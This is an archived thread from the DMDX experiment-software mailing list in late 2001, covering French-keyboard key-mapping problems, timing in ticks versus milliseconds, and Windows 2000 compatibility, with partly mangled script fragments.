At 01:54 PM 11/16/01 -0400, you wrote: >> BTW, 's parameter is an integer value in ticks (retrace intervals). > >So it can only be something like 21 or 22, not 21.5? Yes, integers are whole numbers, real numbers can have a fractional component. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ All power corrupts, but we need electricity. >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 19 08:02:46 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA22894 for ; Mon, 19 Nov 2001 08:01:52 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id QAA16135 for dmdx@psy1.psych.arizona.edu; Mon, 19 Nov 2001 16:01:43 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id QAA16118 for ; Mon, 19 Nov 2001 16:01:41 +0100 (MET) Received: from boris (n2sgir232.psycho.univ-paris5.fr [193.51.84.232]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id QAA21837 for ; Mon, 19 Nov 2001 16:01:41 +0100 (MET) Message-ID: <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: ""DMDX"" Subject: [DMDX] keyboard and french problem Date: Wed, 19 Dec 2001 16:07:54 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_02DA_01C188A7.511C2700"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_02DA_01C188A7.511C2700 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi, I use french keyboard and I can't use backspace in dmdx = (ZillionTypedResponses) neither then ""q"" (it gives an ""a""). I installed first an english version of directx and after that the last = french version (8.1) but that doesn't change anything. Thanks in advance. **********************************=20 http://www.borisnew.org/journalclub http://www.borisnew.org http://www.lexique.org Boris New=20 Laboratoire de Psychologie Exp=E9rimentale=20 Centre Universitaire de Boulogne - Institut de Psychologie=20 Universit=E9 Paris 5 - UMR 8581=20 71 Av. Edouard Vaillant=20 92774 Boulogne Billancourt Cedex=20 Tel : 01 55 20 57 36=20 ********************************** ------=_NextPart_000_02DA_01C188A7.511C2700 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hi,   I use french keyboard and I can't use = backspace in=20 dmdx (ZillionTypedResponses) neither then ""q"" (it gives an = ""a""). I installed first an english version of = directx and=20 after that the last french version (8.1) but that doesn't change=20 anything.   Thanks in advance.     ********************************** = http://www.borisnew.org/jour= nalclubhttp://www.borisnew.orghttp://www.lexique.org   Boris New Laboratoire de = Psychologie=20 Exp=E9rimentale Centre Universitaire de Boulogne - Institut de = Psychologie=20 Universit=E9 Paris 5 - UMR 8581 71 Av. Edouard Vaillant = 92774 Boulogne=20 Billancourt Cedex Tel : 01 55 20 57 36=20 ********************************** ------=_NextPart_000_02DA_01C188A7.511C2700-- >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 19 08:50:06 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id IAA23045 for ; Mon, 19 Nov 2001 08:49:58 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fAJFnup15774 for ; Mon, 19 Nov 2001 16:49:56 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: keyboard and french problem Date: Mon, 19 Nov 2001 16:47:56 +0100 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0002_01C17119.F04D8DA0"" In-Reply-To: <02dd01c1889e$f33c2520$312815ac@psycho.univparis5.fr> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_0002_01C17119.F04D8DA0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Perhaps Boris's problem with ""on Q A"" would resolve using Windows' alternative language mappings for keyboards? I have this problem all the time with other software! - derek ------=_NextPart_000_0002_01C17119.F04D8DA0 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Perhaps Boris's=20 problem with ""on Q A""  would resolve using Windows' = alternative=20 language mappings for keyboards?   I have = this=20 problem all the time with other software!     =20 - derek ------=_NextPart_000_0002_01C17119.F04D8DA0-- >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 19 09:08:19 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA23140 for ; Mon, 19 Nov 2001 09:08:04 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id RAA27734 for dmdx@psy1.psych.arizona.edu; Mon, 19 Nov 2001 17:07:53 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id RAA27723 for ; Mon, 19 Nov 2001 17:07:51 +0100 (MET) Received: from boris (n2sgir232.psycho.univ-paris5.fr [193.51.84.232]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id RAA26845 for ; Mon, 19 Nov 2001 17:07:50 +0100 (MET) Message-ID: <000d01c188a8$31e8ace0$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: References: Subject: [DMDX] Re: RE: keyboard and french problem Date: Wed, 19 Dec 2001 17:14:11 +0100 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_000A_01C188B0.9383E200"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list This is a multi-part message in MIME format. ------=_NextPart_000_000A_01C188B0.9383E200 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I tried to use english (usa) windows keyboard language but the ""q a"" and = the backspace problems remain. ----- Original Message -----=20 From: Derek N. Eder=20 To: DMDX@psy1.psych.arizona.edu=20 Sent: Monday, November 19, 2001 4:47 PM Subject: [DMDX] RE: keyboard and french problem Perhaps Boris's problem with ""on Q A"" would resolve using Windows' = alternative language mappings for keyboards? =20 I have this problem all the time with other software! =20 =20 - derek ------=_NextPart_000_000A_01C188B0.9383E200 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable I tried to use english (usa) windows = keyboard=20 language but the ""q a"" and the backspace problems remain.     ----- Original Message ----- From:=20 Derek N.=20 Eder To: DMDX@psy1.psych.arizona.edu = Sent: Monday, November 19, 2001 = 4:47=20 PM Subject: [DMDX] RE: keyboard = and french=20 problem Perhaps Boris's=20 problem with ""on Q A""  would resolve using Windows' = alternative=20 language mappings for keyboards?   I = have this=20 problem all the time with other software!     =20 -=20 derek ------=_NextPart_000_000A_01C188B0.9383E200-- >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 19 09:35:27 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id JAA23300 for ; Mon, 19 Nov 2001 09:35:14 -0700 Received: (qmail 10223 invoked from network); 19 Nov 2001 16:35:08 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 19 Nov 2001 16:35:08 -0000 Message-Id: <5.1.0.14.2.20011119092420.009e7ec0@psy1.psych.arizona.edu> Date: Mon, 19 Nov 2001 09:33:32 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: keyboard and french problem In-Reply-To: <000d01c188a8$31e8ace0$312815ac@psycho.univparis5.fr> References: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:14 PM 12/19/01 +0100, you wrote: >I tried to use english (usa) windows keyboard language but the ""q a"" and >the backspace problems remain. > I don't know that the Q/A problem is resolvable by something other than a kludge as DMDX uses the implicit assumption that the names of the keys that DirectX provides are correct (something you're not supposed to do). If I complain to MS they'll just say 'told ya so'. The thing to do under these circumstances is to use the TimeDX input test and to see just what key triggers what DirectX button event. The backspace issue is the same issue that the 'zillion enter key name' keyword resolves, I guess I'll have to add a 'zillion backspace key name' keyword. The only immediate solution to the Q/A issue that comes to mind is to provide a list of alternate lookups. However we have no French Keyboard issues around here but instead do have a need for a 60 gigabyte disk... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Mon Nov 19 10:10:38 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id KAA23432 for ; Mon, 19 Nov 2001 10:10:29 -0700 Received: from kif.u.arizona.edu (128.196.98.27) by deimos.email.Arizona.EDU (6.0.034) id 3BF450F600044481 for DMDX@psy1.psych.arizona.edu; Mon, 19 Nov 2001 10:10:27 -0700 Message-Id: <4.3.1.1.20011119100832.00bc6f00@kforster.inbox.email.arizona.edu> Date: Mon, 19 Nov 2001 10:11:23 -0700 To: DMDX@psy1.psych.arizona.edu From: Kenneth Forster Subject: [DMDX] Re: timings and delays In-Reply-To: References: <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011113152239.009e2030@psy1.psych.arizona.edu> <5.1.0.14.2.20011115144641.009e5df0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_1775113==_.ALT"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --=====================_1775113==_.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed Tyler, I take it you are running a phrase by phrase reading experiment. The most important thing is to prevent any feedback using . Then things go swimmingly, as the enclosed simplified script shows. --kif +1 *""One day at the mall""; +1 *""Michael was stopped by Hannah""; +1 *""while""; +1 *""leaving the store.""; +1 *""Michael was leaving the store.""; At 12:52 PM 11/16/01 -0400, you wrote: >>>2. Does the timing of the item begin after the spacebar has been >>>pressed, or when the sentence appears on the screen? >> >> Depends on your item file structure. Post the first few lines >> (parameter line and a few items) of it and I can tell you more. > >Here is the parameter strucure and the first set of items. > >Questions: Does the timing of the item begin after the spacebar has been >pressed, or when the sentence appears on the screen? > >Also, is the length betwee items affected by the length of the upcoming >sentence? > --=====================_1775113==_.ALT Content-Type: text/html; charset=""us-ascii"" Tyler, I take it you are running a phrase by phrase reading experiment.  The most important thing is to prevent any feedback using .  Then things go swimmingly, as the enclosed simplified script shows.         --kif +1 *""One day at the mall""; +1  *""Michael was stopped by Hannah""; +1  *""while""; +1  *""leaving the store.""; +1  *""Michael was leaving the store.""; At 12:52 PM 11/16/01 -0400, you wrote: 2. Does the timing of the item begin after the spacebar has been pressed, or when the sentence appears on the screen?   Depends on your item file structure.  Post the first few lines (parameter line and a few items) of it and I can tell you more. Here is the parameter strucure and the first set of items. Questions: Does the timing of the item begin after the spacebar has been pressed, or when the sentence appears on the screen? Also, is the length betwee items affected by the length of the upcoming sentence? --=====================_1775113==_.ALT-- >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 20 05:39:02 2001 Received: from mefteh.dsi.univ-paris5.fr (mefteh.dsi.univ-paris5.fr [193.51.86.10]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA25834 for ; Tue, 20 Nov 2001 05:38:36 -0700 Received: (from root@localhost) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) id NAA17468 for dmdx@psy1.psych.arizona.edu; Tue, 20 Nov 2001 13:38:15 +0100 (MET) Received: from alpha.univ-paris5.fr (alpha.univ-paris5.fr [193.51.86.2]) by mefteh.dsi.univ-paris5.fr (8.9.3+Sun/8.9.3) with ESMTP id NAA17448 for ; Tue, 20 Nov 2001 13:38:13 +0100 (MET) Received: from boris (n2sgir232.psycho.univ-paris5.fr [193.51.84.232]) by alpha.univ-paris5.fr (8.9.3/jtpda-5.3.1) with SMTP id NAA11035 for ; Tue, 20 Nov 2001 13:38:12 +0100 (MET) Message-ID: <002e01c18954$152fd900$312815ac@psycho.univparis5.fr> From: ""Boris New"" To: References: <5.1.0.14.2.20011119092420.009e7ec0@psy1.psych.arizona.edu> Subject: [DMDX] Re: RE: keyboard and french problem Date: Thu, 20 Dec 2001 13:44:30 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Finally the backspace problem is not one if we use the english directx. (I didn't think that these two problems were independant). And for the ""q a"" problem, the solution (not a perfect one for the accent but...) would be to use a qwerty keyboard. So I only see disadvantages to install localized version of directx. ----- Original Message ----- From: j.c.f. To: Sent: Monday, November 19, 2001 5:33 PM Subject: [DMDX] Re: RE: keyboard and french problem > At 05:14 PM 12/19/01 +0100, you wrote: > >I tried to use english (usa) windows keyboard language but the ""q a"" and > >the backspace problems remain. > > > > I don't know that the Q/A problem is resolvable by something other than > a kludge as DMDX uses the implicit assumption that the names of the keys > that DirectX provides are correct (something you're not supposed to > do). If I complain to MS they'll just say 'told ya so'. > The thing to do under these circumstances is to use the TimeDX input > test and to see just what key triggers what DirectX button event. The > backspace issue is the same issue that the 'zillion enter key name' keyword > resolves, I guess I'll have to add a 'zillion backspace key name' keyword. > The only immediate solution to the Q/A issue that comes to mind is to > provide a list of alternate lookups. However we have no French Keyboard > issues around here but instead do have a need for a 60 gigabyte disk... > > > -jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > > There are no secrets better kept than those secrets that > everybody guesses. > - George Bernard Shaw (1856-1950) > Mrs. Warren's Profession, 1983 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Tue Nov 20 10:05:45 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id KAA26407 for ; Tue, 20 Nov 2001 10:05:00 -0700 Received: (qmail 8932 invoked from network); 20 Nov 2001 17:04:56 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 20 Nov 2001 17:04:56 -0000 Message-Id: <5.1.0.14.2.20011120100115.009f2ec0@psy1.psych.arizona.edu> Date: Tue, 20 Nov 2001 10:03:11 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: RE: keyboard and french problem In-Reply-To: <002e01c18954$152fd900$312815ac@psycho.univparis5.fr> References: <5.1.0.14.2.20011119092420.009e7ec0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:44 PM 12/20/01 +0100, you wrote: >Finally the backspace problem is not one if we use the english directx. (I >didn't think that these two problems were independant). > >And for the ""q a"" problem, the solution (not a perfect one for the accent >but...) would be to use a qwerty keyboard. > >So I only see disadvantages to install localized version of directx. I don't think it's the version of DirectX, I think it's the keyboard, or at least the way you have the keyboard installed. If you look in the Device Manager see if the keyboard is listed as French keyboard, if so, delete it and install a US or Standard MS keyboard. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 >From DMDX-owner@psy1.psych.arizona.edu Wed Nov 21 00:58:24 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA28213 for ; Wed, 21 Nov 2001 00:58:01 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fAL7vvp29005 for ; Wed, 21 Nov 2001 08:57:57 +0100 From: ""Derek N. Eder"" To: Subject: [DMDX] RE: Re: RE: keyboard and french problem Date: Wed, 21 Nov 2001 08:55:55 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit In-Reply-To: <5.1.0.14.2.20011120100115.009f2ec0@psy1.psych.arizona.edu> Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list C'est la meme chose que j'ai dit. Changer la langue du board de key dans le panel de control, foutter l'ordinateur deux fois, et voilla! - Dereque. -----Original Message----- From: DMDX-owner@psy1.psych.arizona.edu [mailto:DMDX-owner@psy1.psych.arizona.edu]On Behalf Of j.c.f. Sent: den 20 november 2001 18:03 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Re: RE: keyboard and french problem At 01:44 PM 12/20/01 +0100, you wrote: >Finally the backspace problem is not one if we use the english directx. (I >didn't think that these two problems were independant). > >And for the ""q a"" problem, the solution (not a perfect one for the accent >but...) would be to use a qwerty keyboard. > >So I only see disadvantages to install localized version of directx. I don't think it's the version of DirectX, I think it's the keyboard, or at least the way you have the keyboard installed. If you look in the Device Manager see if the keyboard is listed as French keyboard, if so, delete it and install a US or Standard MS keyboard. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There are no secrets better kept than those secrets that everybody guesses. - George Bernard Shaw (1856-1950) Mrs. Warren's Profession, 1983 ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 04:32:33 2001 Received: from navy.csi.cam.ac.uk (exim@navy.csi.cam.ac.uk [131.111.8.49]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA31344 for ; Thu, 22 Nov 2001 04:31:20 -0700 Received: from csl.psychol.cam.ac.uk ([131.111.177.90]) by navy.csi.cam.ac.uk with esmtp (Exim 3.22 #1) id 166s4d-0004xI-00 for DMDX@psy1.psych.arizona.edu; Thu, 22 Nov 2001 11:31:19 +0000 Received: from csl.psychol.cam.ac.uk (deskpro5.psychol.cam.ac.uk [131.111.190.71]) by csl.psychol.cam.ac.uk (8.10.0/8.10.0) with ESMTP id fAMBUVx437783 for ; Thu, 22 Nov 2001 11:30:31 GMT Message-ID: <3BFCE11C.C4ADDFF5@csl.psychol.cam.ac.uk> Date: Thu, 22 Nov 2001 11:27:24 +0000 From: Billi Randall MIME-Version: 1.0 To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Windows 2000 References: <5.0.0.25.2.20001024123053.009d3ce0@psy1.psych.arizona.edu> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Dear Jonathan, Most of the documentation for DMDX suggests that it should be run on Windows 95/98 and this is indeed what we use in our lab. However, for demonstartion purposes we wish to install the software on some machines which run only Windows 2000. I see from the mailing list that some people do use Windows 2000. So, I would be grateful to know if, generally speaking DMDX runs OK on Windows 2000. Many thanks. Billi -- Billi Randall Centre for Speech and Language Department of Experimental Psychology University of Cambridge Downing Street Cambridge CB2 3EB Tel: 01223 766 451 >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 04:41:31 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA31405 for ; Thu, 22 Nov 2001 04:41:18 -0700 Received: from pc111 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Thu, 22 Nov 2001 11:41:15 GMT Message-Id: <3.0.5.32.20011122114114.00b30250@pophost.mrc-cbu.cam.ac.uk> Date: Thu, 22 Nov 2001 11:41:14 +0000 To: DMDX@psy1.psych.arizona.edu, billi@csl.psychol.cam.ac.uk From: Matt Davis Subject: [DMDX] Re: Windows 2000 In-Reply-To: <3BFCE11C.C4ADDFF5@csl.psychol.cam.ac.uk> References: <5.0.0.25.2.20001024123053.009d3ce0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 11:27 22/11/01 +0000, you wrote: >Dear Jonathan, >Most of the documentation for DMDX suggests that it should be run on >Windows 95/98 and this is indeed what we use in our lab. However, for >demonstartion purposes we wish to install the software on some machines >which run only Windows 2000. > >I see from the mailing list that some people do use Windows 2000. So, I >would be grateful to know if, generally speaking DMDX runs OK on Windows >2000. > >Many thanks. >Billi Hi Billi, >From experience here at the CBU, DMDX does run under Windows 2000, however, there is an important restriction for us, which is that the PIO12 input card does not work. So, running a demonstration on Win 2K would be fine, but you would not be able to use a PIO12 button box to record responses. Responses measured with the keyboard or mouse would be fine (though see the TimeDX help file for some suggestion that response latencies may be more variable). Alternatively, you should be able to get accurate response times using an button box connected to the joystick port. Does anyone have experience of using joystick input devices with DMDX and Win2K? Cheers, Matt **************************************************** Matt Davis MRC Cognition and Brain Sciences Unit 15 Chaucer Road, Cambridge, CB2 2EF email: matt.davis@mrc-cbu.cam.ac.uk tel: 01223 355 294 (#266) Fax: 01223 359 062 **************************************************** >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 04:43:43 2001 Received: from orange.csi.cam.ac.uk (exim@orange.csi.cam.ac.uk [131.111.8.77]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA31436 for ; Thu, 22 Nov 2001 04:43:36 -0700 Received: from njsjg2 (helo=localhost) by orange.csi.cam.ac.uk with local-esmtp (Exim 3.22 #1) id 166sGV-0002Uq-00 for DMDX@psy1.psych.arizona.edu; Thu, 22 Nov 2001 11:43:35 +0000 Date: Thu, 22 Nov 2001 11:43:35 +0000 (GMT) From: ""Nicholas J.S. Gibson"" To: Subject: [DMDX] Re: Windows 2000 In-Reply-To: <3BFCE11C.C4ADDFF5@csl.psychol.cam.ac.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've been running it on Win2000 and experienced no problems that I'm aware of. (I didn't ever try running it on Win95/98 though so I don't have anything to compare it to.) Nicholas Gibson -- Psychology and Religion Research Programme Faculty of Divinity, University of Cambridge West Road, Cambridge, CB3 9BS, UK phone/fax: +44 1223 763010/763003 http://www.divinity.cam.ac.uk/pcp/ Today 11:27am, Billi Randall wrote: > Dear Jonathan, > Most of the documentation for DMDX suggests that it should be run on > Windows 95/98 and this is indeed what we use in our lab. However, for > demonstartion purposes we wish to install the software on some machines > which run only Windows 2000. > > I see from the mailing list that some people do use Windows 2000. So, I > would be grateful to know if, generally speaking DMDX runs OK on Windows > 2000. > > Many thanks. > Billi > -- > Billi Randall > Centre for Speech and Language > Department of Experimental Psychology > University of Cambridge > Downing Street > Cambridge > CB2 3EB > > Tel: 01223 766 451 > > > ==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > to be removed from the list. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread > ==================================================================== > >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 05:25:25 2001 Received: from smtp.gu.se (smtp.gu.se [130.241.150.66]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id FAA31598 for ; Thu, 22 Nov 2001 05:25:17 -0700 Received: from mango (psyk21.ss.med.gu.se [130.241.85.176]) by smtp.gu.se (8.10.2/8.10.2) with SMTP id fAMCPGp30900 for ; Thu, 22 Nov 2001 13:25:16 +0100 From: ""Derek N. Eder"" To: ""DMDX"" Subject: [DMDX] programming style and use of ? Date: Thu, 22 Nov 2001 13:23:12 +0100 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I am not confident that I am writing DMDX script in the most efficient manner because I am plagued by ""1-tick-late"" display errors and ""DQ adjusted 1 ticks for sound"". While these do not seem to have a practical impact on what I am trying to do, I nevertheless fear that they are symptomatic of an underlying coding flaw (mine). I have played quite a bit with the tuning of my 8-MB ATI video card to little avail, and the demands placed on the 200 Mhz Pentium seem light. This is the kind of thing I am doing -- 5 types of reaction time trials with differing pre-target cues (audio and character-display ""O"") and a set ISI for each trial. RT's are gathered from a PIO input and the PIO also functions as an output device to deliver triggers to a recording device. ^1 ""."" / * ""�"" , ""."" / ; ^2 ""beep2.wav"" / ""."" / * ""�"" , ""."" / ; ^3 ""."", * ""O"" / ""."" , ""�"" / ; ^4 ""beep2.wav"" / * ""O"" , ""."" / ""�"" , ""."" / ; ^5 ""beep2.wav"" / ""."" / * ""O"" / ""."" , ""�"" / ; QUESTIONS: (1) Is there a place for in this continuous running experiment? The help files say so, but I cannot grasp how to meaningfully employ them. (2) am I correct in assuming that specifying all time intervals in ticks is more efficient and timing-error resistant than using times specified in ms.? (e.g., vs. <%ms>) Thanks, Derek P.S., to those who did not understand my previous post in French, I advised Boris to use a whip on his computer (if Bill Gares was not personally availlable). Derek N. Eder G�teborgs Universitet Institutionen f�r klinisk neurovetenskap - psykiatri Sahlgrenska universitetssjukhuset SS/SU Bl� straket 17b SE 413 45 G�teborg Sverige Tlf. +46 (031) 34 26 139 Fax. +46 (031) 34 21 533 derek.eder@neuro.gu.se Gothenburg University Institute of Clinical Neuroscience, Section for Psychiatry Salhgrenska Hospital SU/SS SE 413 45 G�teborg Sweden >From DMDX-owner@psy1.psych.arizona.edu Thu Nov 22 08:44:14 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id IAA32085 for ; Thu, 22 Nov 2001 08:43:52 -0700 Received: (qmail 29541 invoked from network); 22 Nov 2001 15:43:49 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.21) by breaker.dakotacom.net with SMTP; 22 Nov 2001 15:43:49 -0000 Message-Id: <5.1.0.14.2.20011122083409.009e2a50@psy1.psych.arizona.edu> Date: Thu, 22 Nov 2001 08:41:37 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: programming style and use of ? In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1""; format=flowed Content-Transfer-Encoding: 8bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 01:23 PM 11/22/01 +0100, you wrote: >I am not confident that I am writing DMDX script in the most efficient >manner because I am plagued by ""1-tick-late"" display errors and ""DQ adjusted >1 ticks for sound"". While these do not seem to have a practical impact on >what I am trying to do, I nevertheless fear that they are symptomatic of an >underlying coding flaw (mine). > >I have played quite a bit with the tuning of my 8-MB ATI video card to >little avail, and the demands placed on the 200 Mhz Pentium seem light. > >This is the kind of thing I am doing -- 5 types of reaction time trials with >differing pre-target cues (audio and character-display ""O"") and a set ISI >for each trial. RT's are gathered from a PIO input and the PIO also >functions as an output device to deliver triggers to a recording device. It's the D0. D0 means take as much time as you need to load images but then display the results immediately. A D-2 means the same thing but schedule the display 2 ticks later thus giving DMDX and the OS a little spare time to do any house keeping that might be needed. > 0> > >^1 ""."" / > * >""�"" , ""."" / >; > >^2 ""beep2.wav"" / > ""."" / > * 2.375> ""�"" , ""."" / >; > >^3 >""."", * >""O"" / > ""."" , > ""�"" / >; > >^4 ""beep2.wav"" / 23> * ""O"" , > ""."" / > ""�"" , >""."" / ; > >^5 ""beep2.wav"" / > ""."" / > * ""O"" / > ""."" , 0.7456,0.5> ""�"" / ; > > >QUESTIONS: >(1) Is there a place for in this continuous running experiment? >The help files say so, but I cannot grasp how to meaningfully employ them. Sure, you're using it in one of the envisaged fashions. >(2) am I correct in assuming that specifying all time intervals in ticks is >more efficient and timing-error resistant than using times specified in ms.? >(e.g., vs. <%ms>) Yes, far superior. The millisecond specification is only provided for non-technical users or for when it doesn't really matter and you couldn't be bothered figuring out how long a long time interval is in ticks. Also good for writing machine independent but non timing critical item files. >Thanks, > >Derek > >P.S., to those who did not understand my previous post in French, I advised >Boris to use a whip on his computer (if Bill Gares was not personally >availlable). Ah, damn, from my scant understanding of French I thought you were actually giving him some advice about 